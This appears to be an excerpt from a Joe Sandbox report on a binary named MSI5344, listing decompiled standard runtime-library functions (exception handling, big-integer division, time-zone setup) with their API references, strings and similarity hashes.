_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6DCD56
LocalFree.KERNEL32 ref: 00007FF7AF6DCFFA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6DD042

Strings

%, xrefs: 00007FF7AF6DD07E

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: FreeLocal_invalid_parameter_noinfo_noreturn
String ID: %
API String ID: 195334829-2567322570
Opcode ID: e27fdfa7f6a6470ff259ff9cd25e417f62e02cd08220d4d1bba52ccb91f12fa7
Instruction ID: df259e113b9410aacf712a0a372944df507f19966d9aad4c8ffc1f0e01fb882b
Opcode Fuzzy Hash: e27fdfa7f6a6470ff259ff9cd25e417f62e02cd08220d4d1bba52ccb91f12fa7
Instruction Fuzzy Hash: FB221F22B0AAC989FB159F65D4103FDA7B6AB58788F815132DE8C17BA8DF3CD055C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF70F3F4 Relevance: 9.1, APIs: 6, Instructions: 83
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00007FF77FF7AF70F3F4(void* __ecx, intOrPtr __edx, long long __rbx, long long __rsi) {
				void* _t36;
				int _t38;
				signed long long _t60;
				long long _t63;
				_Unknown_base(*)()* _t82;
				void* _t86;
				void* _t87;
				void* _t89;
				signed long long _t90;
				struct _EXCEPTION_POINTERS* _t95;

				 *((long long*)(_t89 + 0x10)) = __rbx;
				 *((long long*)(_t89 + 0x18)) = __rsi;
				_t87 = _t89 - 0x4f0;
				_t90 = _t89 - 0x5f0;
				_t60 =  *0xaf751030; // 0xa13e9e6732fb
				 *(_t87 + 0x4e0) = _t60 ^ _t90;
				if (__ecx == 0xffffffff) goto 0xaf70f433;
				E00007FF77FF7AF70979C(_t36);
				r8d = 0x98;
				E00007FF77FF7AF70ABF0();
				r8d = 0x4d0;
				E00007FF77FF7AF70ABF0();
				 *((long long*)(_t90 + 0x48)) = _t90 + 0x70;
				_t63 = _t87 + 0x10;
				 *((long long*)(_t90 + 0x50)) = _t63;
				__imp__RtlCaptureContext();
				r8d = 0;
				__imp__RtlLookupFunctionEntry();
				if (_t63 == 0) goto 0xaf70f4c6;
				 *(_t90 + 0x38) =  *(_t90 + 0x38) & 0x00000000;
				 *((long long*)(_t90 + 0x30)) = _t90 + 0x58;
				 *((long long*)(_t90 + 0x28)) = _t90 + 0x60;
				 *((long long*)(_t90 + 0x20)) = _t87 + 0x10;
				__imp__RtlVirtualUnwind();
				 *((long long*)(_t87 + 0x108)) =  *((intOrPtr*)(_t87 + 0x508));
				 *((intOrPtr*)(_t90 + 0x70)) = __edx;
				 *((long long*)(_t87 + 0xa8)) = _t87 + 0x510;
				 *((long long*)(_t87 - 0x80)) =  *((intOrPtr*)(_t87 + 0x508));
				 *((intOrPtr*)(_t90 + 0x74)) = r8d;
				_t38 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(_t82, _t86);
				if (UnhandledExceptionFilter(_t95) != 0) goto 0xaf70f528;
				if (_t38 != 0) goto 0xaf70f528;
				if (__ecx == 0xffffffff) goto 0xaf70f528;
				return E00007FF77FF7AF708B70(E00007FF77FF7AF70979C(_t40), __ecx,  *(_t87 + 0x4e0) ^ _t90);
			}

0x7ff7af70f3f4
0x7ff7af70f3f9
0x7ff7af70f402
0x7ff7af70f40a
0x7ff7af70f411
0x7ff7af70f41b
0x7ff7af70f42c
0x7ff7af70f42e
0x7ff7af70f43a
0x7ff7af70f440
0x7ff7af70f44b
0x7ff7af70f451
0x7ff7af70f45b
0x7ff7af70f464
0x7ff7af70f468
0x7ff7af70f46d
0x7ff7af70f482
0x7ff7af70f485
0x7ff7af70f48e
0x7ff7af70f490
0x7ff7af70f4a3
0x7ff7af70f4b0
0x7ff7af70f4b9
0x7ff7af70f4c0
0x7ff7af70f4cd
0x7ff7af70f4df
0x7ff7af70f4e3
0x7ff7af70f4f1
0x7ff7af70f4f5
0x7ff7af70f4f9
0x7ff7af70f503
0x7ff7af70f516
0x7ff7af70f51a
0x7ff7af70f51f
0x7ff7af70f54e

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7AF70F46D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7AF70F485
RtlVirtualUnwind.KERNEL32 ref: 00007FF7AF70F4C0
IsDebuggerPresent.KERNEL32 ref: 00007FF7AF70F4F9
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7AF70F503
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7AF70F50E

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 865a6e2769022f21dc03190d95822f3d93f26dc15cacf72019e463fc11a37fc4
Instruction ID: 1c83915c574458e5786262dab22c15c4e78b55889ed48e4e3ce2ca948952cec5
Opcode Fuzzy Hash: 865a6e2769022f21dc03190d95822f3d93f26dc15cacf72019e463fc11a37fc4
Instruction Fuzzy Hash: 0B318236619BC295DB60DF24E8442EEB3A0FB88758FD50136EA8D43B65DF38C145C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6E4444 Relevance: 8.3, APIs: 2, Strings: 2, Instructions: 1327COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AF6E28A0: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E28B5
Part of subcall function 00007FF7AF6E28A0: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E28DA
Part of subcall function 00007FF7AF6E28A0: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E2904
Part of subcall function 00007FF7AF6E28A0: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E299C

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6E5565
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6E556B

Strings

0123456789ABCDEFabcdef-+XxPp, xrefs: 00007FF7AF6E4569, 00007FF7AF6E4A0C, 00007FF7AF6E4D7B, 00007FF7AF6E5025, 00007FF7AF6E5471
$, xrefs: 00007FF7AF6E48BE

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~__invalid_parameter_noinfo_noreturn
String ID: $$0123456789ABCDEFabcdef-+XxPp
API String ID: 4156930308-3344005635
Opcode ID: d877fc88edadc09700e30ec8919aa5a4ef4fbab27d9f527255cb791bd0a5f934
Instruction ID: ddb3ae66176424ea61f3dfc189fcf3eb9a2254b0f86a7de0f58f118c020ff62c
Opcode Fuzzy Hash: d877fc88edadc09700e30ec8919aa5a4ef4fbab27d9f527255cb791bd0a5f934
Instruction Fuzzy Hash: 9BD2B02760AAC1C9EB659F29C1503BCB766EB40B84F96A031CA5D477B5DF3ED852C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF7174E0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 329
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 69%

			E00007FF77FF7AF7174E0(signed int __ecx, signed int __rax, signed int* __rcx, unsigned int __rdx, signed int __r9, void* __r10, long long __r13, signed int _a8, long long _a16, signed int _a24, signed int _a32) {
				long long _v64;
				char _v532;
				intOrPtr _v536;
				signed long long _v552;
				signed int _v560;
				signed int _v568;
				signed int _v572;
				signed int _v576;
				intOrPtr _v584;
				void* __rbx;
				void* __rsi;
				void* _t132;
				signed int _t148;
				intOrPtr _t161;
				signed int _t163;
				intOrPtr _t164;
				signed int _t180;
				signed int _t191;
				signed int _t192;
				signed int _t213;
				void* _t230;
				signed long long _t241;
				signed int _t244;
				void* _t252;
				signed int* _t255;
				intOrPtr* _t262;
				signed long long _t267;
				signed long long _t269;
				signed long long _t271;
				signed long long _t273;
				signed long long _t277;
				signed long long _t279;
				char* _t285;
				signed int _t288;
				signed long long _t289;
				signed long long _t297;
				signed long long _t298;
				void* _t306;
				signed long long _t327;

				_a16 = __rdx;
				r10d =  *__rcx;
				_t278 = __rcx;
				if (r10d == 0) goto 0xaf717955;
				_t161 =  *__rdx;
				_v584 = _t161;
				if (_t161 == 0) goto 0xaf717955;
				r10d = r10d - 1;
				if (_t252 - 1 != 0) goto 0xaf717611;
				r12d =  *(__rdx + 4);
				if (r12d != 1) goto 0xaf717556;
				_t6 =  &_v532; // 0x34
				_t255 =  &(__rcx[1]);
				 *__rcx = 0;
				r9d = 0;
				_v536 = 0;
				E00007FF77FF7AF7179E4(__rax, _t252, _t255, __rdx, __rcx, _t6, __r9);
				goto 0xaf717957;
				if (r10d != 0) goto 0xaf717591;
				_t163 = _t255[1];
				_t9 =  &_v532; // 0x34
				 *_t255 = 0;
				r9d = 0;
				_v536 = 0;
				E00007FF77FF7AF7179E4(__rax, _t252,  &(_t255[1]), __rdx, __rcx, _t9, __r9);
				_t180 = _t163 % r12d;
				__rcx[1] = _t180;
				bpl = _t180 != 0;
				 *__rcx = 0;
				goto 0xaf717957;
				r15d = 0xffffffff;
				if (r10d == r15d) goto 0xaf7175d5;
				asm("o16 nop [eax+eax]");
				r10d = r10d + r15d;
				if (r10d != r15d) goto 0xaf7175b0;
				r9d = 0;
				_v536 = 0;
				_t24 =  &_v532; // 0x34
				_t285 = _t24;
				 *__rcx = 0;
				_t25 = _t278 + 4; // 0x155
				_t132 = E00007FF77FF7AF7179E4(__rax | _t279 << 0x00000020, _t252, _t25, __rdx, __rcx, _t285, __r9);
				__rcx[1] = r14d;
				__rcx[2] = __ecx;
				bpl = __ecx != 0;
				 *__rcx = 1;
				goto 0xaf717957;
				if (_t132 - r10d > 0) goto 0xaf717955;
				r8d = r10d;
				_t269 = r10d;
				r8d = r8d - _t132;
				r9d = r10d;
				_t277 = r8d;
				if (_t269 - _t277 < 0) goto 0xaf717677;
				_t262 = (__rdx >> 0x20) + 4 + _t269 * 4;
				if ( *((intOrPtr*)(__rdx - _t277 * 4 - __rcx + _t262)) !=  *_t262) goto 0xaf717660;
				r9d = r9d - 1;
				if (_t269 - 1 - _t277 >= 0) goto 0xaf717647;
				goto 0xaf717677;
				_t271 = r9d - r8d;
				_t241 = r9d;
				if ( *((intOrPtr*)(__rdx + 4 + _t271 * 4)) -  *(__rcx + 4 + _t241 * 4) >= 0) goto 0xaf71767a;
				r8d = r8d + 1;
				_t213 = r8d;
				if (_t213 == 0) goto 0xaf717955;
				r9d =  *(__rdx + 4 + _t241 * 4);
				r11d =  *(__rdx + 4 + _t241 * 4);
				asm("inc ecx");
				_a24 = r11d;
				if (_t213 == 0) goto 0xaf7176c1;
				r12d = 0x20;
				r12d = r12d - 0x1f;
				_a8 = r12d;
				if (0x1f - _t252 - 2 == 0) goto 0xaf71770d;
				goto 0xaf7176d0;
				_a8 = 0;
				r12d = 0;
				r9d = r11d >> r12d;
				r11d = r11d << 0x20;
				r9d = r9d | r9d << 0x00000020;
				_a24 = r11d;
				if (_t163 - 2 <= 0) goto 0xaf71770d;
				r11d = r11d |  *(__rdx + 4 + _t241 * 4) >> r12d;
				_a24 = r11d;
				r14d = _t285 - 1;
				_v560 = _t279;
				if (r14d < 0) goto 0xaf71791e;
				r15d = 0xffffffff;
				_v64 = __r13;
				r13d = __rdx + _t252;
				_v552 = _t241;
				_v568 = __r9;
				if (r13d - r10d > 0) goto 0xaf71774d;
				goto 0xaf71774f;
				_a32 = 0;
				r11d =  *(__rcx + 4 + _t241 * 4);
				_v576 = _t262 - 4;
				_v572 = 0;
				if (0x20 == 0) goto 0xaf7177a7;
				r8d = r11d;
				r11d = r11d << 0x20;
				if (r13d - 3 < 0) goto 0xaf7177ac;
				_t148 =  *(__rcx + 4 + (_v576 << 0x20) * 4) >> r12d;
				r11d = r11d | _t148;
				goto 0xaf7177ac;
				_t288 = _v576;
				_t244 = _t288;
				r8d = _t148 % __r9;
				if (_t244 - _t327 <= 0) goto 0xaf7177d8;
				_t297 = _t327;
				_t289 = _t288 + 0x1;
				if (_t289 - _t327 > 0) goto 0xaf717811;
				_t267 = _t289 << 0x00000020 | _t279;
				if (0x1 - _t267 <= 0) goto 0xaf71780d;
				_t298 = _t297 - 1;
				if (_t289 + _v568 - _t327 <= 0) goto 0xaf7177f0;
				_t164 = _v584;
				if (_t298 == 0) goto 0xaf7178f0;
				r11d = 0;
				if (_t164 == 0) goto 0xaf717893;
				r15d = _a8;
				r8d = r10d;
				_t306 =  >=  ? _t279 + 0x1 >> 0x20 : (_t279 + 0x1 >> 0x20) + 1;
				r11d = r11d + 1;
				 *((intOrPtr*)(__rcx + 4 + _t267 * 4)) = __rcx[0xffffffff00000002] - r8d;
				if (r11d - _t164 < 0) goto 0xaf717840;
				_a8 = r15d;
				r15d = 0xffffffff;
				r12d = _a8;
				if (0x1 - _t306 >= 0) goto 0xaf7178ec;
				r10d = 0;
				if (_t164 == 0) goto 0xaf7178e9;
				asm("o16 nop [eax+eax]");
				r10d = r10d + 1;
				_t273 =  &(__rcx[0xffffffff00000001]);
				 *(_t273 + 4) = r8d;
				_t230 = r10d - _t164;
				if (_t230 < 0) goto 0xaf7178c0;
				r10d = __r13 - 1;
				r13d = r13d - 1;
				r14d = r14d - 1;
				_v560 = (_v560 << 0x20) + 0x1;
				if (_t230 >= 0) goto 0xaf717741;
				_t191 = _t306 + 1;
				if (_t191 -  *__rcx >= 0) goto 0xaf71793c;
				 *((intOrPtr*)(__rcx + 4 + ((0x1 + _t244) * _v568 * _t297 - _t271) * _t298 * 4)) = 0;
				if (_t191 + 1 -  *__rcx < 0) goto 0xaf717930;
				 *__rcx = _t191;
				if (_t191 == 0) goto 0xaf717950;
				_t192 = _t191 - 1;
				if ( *((intOrPtr*)(__rcx + 4 + _t273 * 4)) != 0) goto 0xaf717950;
				 *__rcx = _t192;
				if (_t192 != 0) goto 0xaf717942;
				goto 0xaf717957;
				return 0;
			}

0x7ff7af7174e0
0x7ff7af7174f6
0x7ff7af7174fc
0x7ff7af717502
0x7ff7af717508
0x7ff7af71750a
0x7ff7af717510
0x7ff7af717516
0x7ff7af71751e
0x7ff7af717524
0x7ff7af71752e
0x7ff7af717533
0x7ff7af717538
0x7ff7af71753c
0x7ff7af71753e
0x7ff7af717541
0x7ff7af71754a
0x7ff7af717551
0x7ff7af717559
0x7ff7af71755b
0x7ff7af71755e
0x7ff7af717563
0x7ff7af717565
0x7ff7af71756c
0x7ff7af717575
0x7ff7af71757e
0x7ff7af717583
0x7ff7af717586
0x7ff7af71758a
0x7ff7af71758c
0x7ff7af717591
0x7ff7af7175a0
0x7ff7af7175a5
0x7ff7af7175bb
0x7ff7af7175d3
0x7ff7af7175d5
0x7ff7af7175d8
0x7ff7af7175dc
0x7ff7af7175dc
0x7ff7af7175e1
0x7ff7af7175e8
0x7ff7af7175ec
0x7ff7af7175f4
0x7ff7af717601
0x7ff7af717604
0x7ff7af71760a
0x7ff7af71760c
0x7ff7af717614
0x7ff7af71761a
0x7ff7af71761d
0x7ff7af717620
0x7ff7af717623
0x7ff7af717626
0x7ff7af71762c
0x7ff7af717643
0x7ff7af71764d
0x7ff7af71764f
0x7ff7af71765c
0x7ff7af71765e
0x7ff7af717666
0x7ff7af717669
0x7ff7af717675
0x7ff7af717677
0x7ff7af71767a
0x7ff7af71767d
0x7ff7af717688
0x7ff7af717690
0x7ff7af717695
0x7ff7af717699
0x7ff7af7176a1
0x7ff7af7176a8
0x7ff7af7176b0
0x7ff7af7176b3
0x7ff7af7176bd
0x7ff7af7176bf
0x7ff7af7176c6
0x7ff7af7176cd
0x7ff7af7176df
0x7ff7af7176e2
0x7ff7af7176e5
0x7ff7af7176e8
0x7ff7af7176f3
0x7ff7af717702
0x7ff7af717705
0x7ff7af71770d
0x7ff7af717711
0x7ff7af71771c
0x7ff7af717725
0x7ff7af71772b
0x7ff7af717733
0x7ff7af717737
0x7ff7af71773c
0x7ff7af717744
0x7ff7af71774b
0x7ff7af71774f
0x7ff7af717762
0x7ff7af717767
0x7ff7af71776c
0x7ff7af717772
0x7ff7af717779
0x7ff7af71778c
0x7ff7af717793
0x7ff7af7177a0
0x7ff7af7177a2
0x7ff7af7177a5
0x7ff7af7177a7
0x7ff7af7177ae
0x7ff7af7177b4
0x7ff7af7177bd
0x7ff7af7177cc
0x7ff7af7177d5
0x7ff7af7177db
0x7ff7af7177f7
0x7ff7af7177fd
0x7ff7af7177ff
0x7ff7af71780b
0x7ff7af71780d
0x7ff7af717814
0x7ff7af71781d
0x7ff7af717822
0x7ff7af71782c
0x7ff7af717854
0x7ff7af71786a
0x7ff7af717871
0x7ff7af717874
0x7ff7af71787b
0x7ff7af71787d
0x7ff7af717885
0x7ff7af71788b
0x7ff7af71789d
0x7ff7af71789f
0x7ff7af7178a4
0x7ff7af7178b5
0x7ff7af7178c4
0x7ff7af7178cb
0x7ff7af7178dc
0x7ff7af7178e4
0x7ff7af7178e7
0x7ff7af7178ec
0x7ff7af7178f5
0x7ff7af717907
0x7ff7af71790b
0x7ff7af717910
0x7ff7af71791e
0x7ff7af717926
0x7ff7af717934
0x7ff7af71793a
0x7ff7af71793c
0x7ff7af717940
0x7ff7af717942
0x7ff7af717948
0x7ff7af71794a
0x7ff7af71794e
0x7ff7af717953
0x7ff7af717968

APIs

memcpy_s.LIBCPMT ref: 00007FF7AF71754A
memcpy_s.LIBCPMT ref: 00007FF7AF717575

Strings

, xrefs: 00007FF7AF7176A8

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-3916222277
Opcode ID: f3f442014e3367c98757b367d6e98807ae0d80b8c08552c3a8f27456eea62b92
Instruction ID: b901319fb87b48a5214f4621f14d86dfa1e5f9969bec999e219c1afc15af0e0f
Opcode Fuzzy Hash: f3f442014e3367c98757b367d6e98807ae0d80b8c08552c3a8f27456eea62b92
Instruction Fuzzy Hash: ABC1C676A19AC687DB20DF19E044AA9F7A1F7887C4FC58135DB4A43764DB3CE80ACB14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6E1B88 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7AF6E1BE9
IsDebuggerPresent.KERNEL32 ref: 00007FF7AF6E1C01
OutputDebugStringW.KERNEL32 ref: 00007FF7AF6E1C12

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00007FF7AF6E1C0B

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: 27a1007be53873aaa08855b056c8aaed5ee0556b2fc44b12d8891753f2818ff6
Instruction ID: 80043c4a7d35da7e863a4fa275d687745f31cc3dd45e412d6e4a4880436c70c6
Opcode Fuzzy Hash: 27a1007be53873aaa08855b056c8aaed5ee0556b2fc44b12d8891753f2818ff6
Instruction Fuzzy Hash: 92116036615B92E2F744AB22D6543F972A5FB08704FC15135C64D83560EF3DE4A88760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6E3330 Relevance: 6.5, APIs: 2, Strings: 1, Instructions: 1280COMMON

Download Yara Rule

Strings

0123456789-+Ee, xrefs: 00007FF7AF6E348B, 00007FF7AF6E378A, 00007FF7AF6E3B39, 00007FF7AF6E3E3D, 00007FF7AF6E4343

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID:
String ID: 0123456789-+Ee
API String ID: 0-1347306980
Opcode ID: 1bc080369820b58bc0c6502647e4e48b13c8e8fd1429464ec23ad0fb3f697ab9
Instruction ID: 6a7825b59fe4b7c2ae0e3ec5d68a7c5a66bb0671b4c43ea9652c5deaec73511e
Opcode Fuzzy Hash: 1bc080369820b58bc0c6502647e4e48b13c8e8fd1429464ec23ad0fb3f697ab9
Instruction Fuzzy Hash: EAC2A12760AAC1C9EB559F29C0503BCBB66BB54B84F9AA031DA5E077B1DF3ED451C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF725604 Relevance: 6.1, APIs: 4, Instructions: 143
timeCOMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 76%

			E00007FF77FF7AF725604(void* __eflags, signed int* __rax, long long __rbx, void* __rdx, signed int _a8, signed int _a16, signed int _a24, long long _a32) {
				void* __rsi;
				void* _t21;
				void* _t22;
				intOrPtr _t31;
				void* _t33;
				void* _t36;
				void* _t37;
				void* _t38;
				signed int _t40;
				signed int _t49;
				intOrPtr _t59;
				intOrPtr _t60;
				signed int* _t63;
				long long _t69;
				void* _t88;

				_t64 = __rbx;
				_t63 = __rax;
				_a32 = __rbx;
				_t22 = E00007FF77FF7AF725204(_t21);
				E00007FF77FF7AF72520C(_t22);
				_a8 = 0;
				_t81 = _t63;
				_a16 = 0;
				_a24 = 0;
				if (E00007FF77FF7AF725274(_t63,  &_a8) != 0) goto 0xaf725777;
				if (E00007FF77FF7AF725214(_t63,  &_a16) != 0) goto 0xaf725777;
				if (E00007FF77FF7AF725244(_t63,  &_a24) != 0) goto 0xaf725777;
				_t69 =  *0xaf7544c8; // 0x0
				E00007FF77FF7AF722110(_t63, _t69);
				 *0xaf7544c8 = __rbx;
				if (GetTimeZoneInformation(??) == 0xffffffff) goto 0xaf72574c;
				_t49 =  *0xaf7544e0 * 0x3c;
				_t8 = _t64 + 1; // 0x1
				_t59 =  *0xaf754526; // 0x0
				r8d =  *0xaf754534; // 0x0
				 *0xaf7544d0 = _t8;
				_a8 = _t49;
				if (_t59 == 0) goto 0xaf7256b6;
				_a8 = r8d * 0x3c + _t49;
				_t60 =  *0xaf75457a; // 0x0
				if (_t60 == 0) goto 0xaf7256d1;
				_t31 =  *0xaf754588; // 0x0
				if (_t31 == 0) goto 0xaf7256d1;
				_t40 = (_t31 - r8d) * 0x3c;
				goto 0xaf7256d3;
				_a24 = _t40;
				_a16 = _t40;
				r8d = 0x80;
				E00007FF77FF7AF70ABF0();
				r8d = 0x80;
				E00007FF77FF7AF70ABF0();
				r8d = 0x40;
				E00007FF77FF7AF70ABF0();
				r8d = 0x40;
				E00007FF77FF7AF70ABF0();
				_t33 = E00007FF77FF7AF71E508(_t63);
				r9d = _t33;
				E00007FF77FF7AF72589C(__rbx, 0xaf7544e4,  *_t63, _t63,  *_t63, _t88);
				r9d = _t33;
				_t36 = E00007FF77FF7AF7251FC(E00007FF77FF7AF72589C(_t64, 0xaf754538, _t81[2], _t81, _t63[2], _t88));
				 *_t63 = _a8;
				_t37 = E00007FF77FF7AF7251EC(_t36);
				 *_t63 = _a16;
				_t38 = E00007FF77FF7AF7251F4(_t37);
				 *_t63 = _a24;
				return _t38;
			}

0x7ff7af725604
0x7ff7af725604
0x7ff7af725604
0x7ff7af725613
0x7ff7af72561b
0x7ff7af725626
0x7ff7af725629
0x7ff7af72562c
0x7ff7af72562f
0x7ff7af725639
0x7ff7af72564a
0x7ff7af72565b
0x7ff7af725661
0x7ff7af725668
0x7ff7af725674
0x7ff7af725684
0x7ff7af72568a
0x7ff7af725691
0x7ff7af725694
0x7ff7af72569b
0x7ff7af7256a2
0x7ff7af7256a8
0x7ff7af7256ab
0x7ff7af7256b3
0x7ff7af7256b6
0x7ff7af7256bd
0x7ff7af7256bf
0x7ff7af7256c7
0x7ff7af7256cc
0x7ff7af7256cf
0x7ff7af7256d3
0x7ff7af7256d8
0x7ff7af7256e3
0x7ff7af7256e6
0x7ff7af7256ef
0x7ff7af7256f4
0x7ff7af725701
0x7ff7af725706
0x7ff7af72570f
0x7ff7af725714
0x7ff7af725719
0x7ff7af72572b
0x7ff7af725730
0x7ff7af725744
0x7ff7af72574f
0x7ff7af725754
0x7ff7af725759
0x7ff7af72575e
0x7ff7af725763
0x7ff7af725768
0x7ff7af725776

APIs

_get_daylight.LIBCMT ref: 00007FF7AF725632

Part of subcall function 00007FF7AF725274: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF725288

_get_daylight.LIBCMT ref: 00007FF7AF725643

Part of subcall function 00007FF7AF725214: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF725228

_get_daylight.LIBCMT ref: 00007FF7AF725654

Part of subcall function 00007FF7AF725244: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF725258

Part of subcall function 00007FF7AF722110: HeapFree.KERNEL32 ref: 00007FF7AF722126
Part of subcall function 00007FF7AF722110: GetLastError.KERNEL32 ref: 00007FF7AF722130

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7AF725894), ref: 00007FF7AF72567B

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: eed105252959d2c97a7e84ddd205a6beb8c741b58f3628ae402c7e74889024dd
Instruction ID: d671bcce60443f335908743d7fb079d468a99ec306a1edf88369c05d75946a99
Opcode Fuzzy Hash: eed105252959d2c97a7e84ddd205a6beb8c741b58f3628ae402c7e74889024dd
Instruction Fuzzy Hash: FC518C3AA1A68286E720FF21EC905E9E361FB4C784FC24135EA0D436B6DF3CE4408760

Uniqueness

Uniqueness Score: -1.00%

